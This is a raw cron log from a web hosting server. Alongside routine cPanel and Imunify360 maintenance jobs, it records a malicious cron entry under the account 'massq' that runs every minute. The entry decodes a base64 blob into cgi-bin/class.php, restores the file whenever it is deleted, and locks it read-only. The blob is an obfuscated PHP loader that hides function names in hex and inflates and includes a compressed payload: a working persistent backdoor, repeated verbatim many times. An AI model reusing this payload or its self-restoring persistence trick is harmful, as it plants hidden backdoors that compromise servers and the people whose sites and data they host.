Sep 11 01:21:01 server CROND[6539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:21:01 server CROND[6540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:22:01 server CROND[7028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:22:01 server CROND[7029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:22:01 server CROND[7030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:23:01 server CROND[7427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:23:01 server CROND[7428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:23:01 server CROND[7430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:24:01 server CROND[7802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:24:01 server CROND[7803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:24:01 server CROND[7801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:25:01 server CROND[8183]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:25:01 server CROND[8185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:25:01 server CROND[8186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:25:01 server CROND[8189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 01:25:01 server CROND[8187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:25:01 server CROND[8191]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 01:25:01 server CROND[8188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:26:01 server CROND[9007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:26:01 server CROND[9008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:26:01 server CROND[9009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:27:01 server CROND[9485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:27:01 server CROND[9487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:27:01 server CROND[9488]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 01:27:01 server CROND[9486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:28:01 server CROND[9869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:28:01 server CROND[9870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:28:01 server CROND[9871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:29:01 server CROND[10309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:29:01 server CROND[10310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:29:01 server CROND[10311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:30:01 server CROND[10729]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 01:30:01 server CROND[10732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:30:01 server CROND[10734]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:30:01 server CROND[10735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:30:01 server CROND[10737]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 01:30:01 server CROND[10736]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:30:01 server CROND[10742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:30:01 server CROND[10741]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 01:31:01 server CROND[11619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:31:01 server CROND[11620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:31:01 server CROND[11621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:32:01 server CROND[11999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:32:01 server CROND[12000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:32:01 server CROND[12001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:33:01 server CROND[12511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:33:01 server CROND[12512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:33:01 server CROND[12513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:34:01 server CROND[12894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:34:01 server CROND[12895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
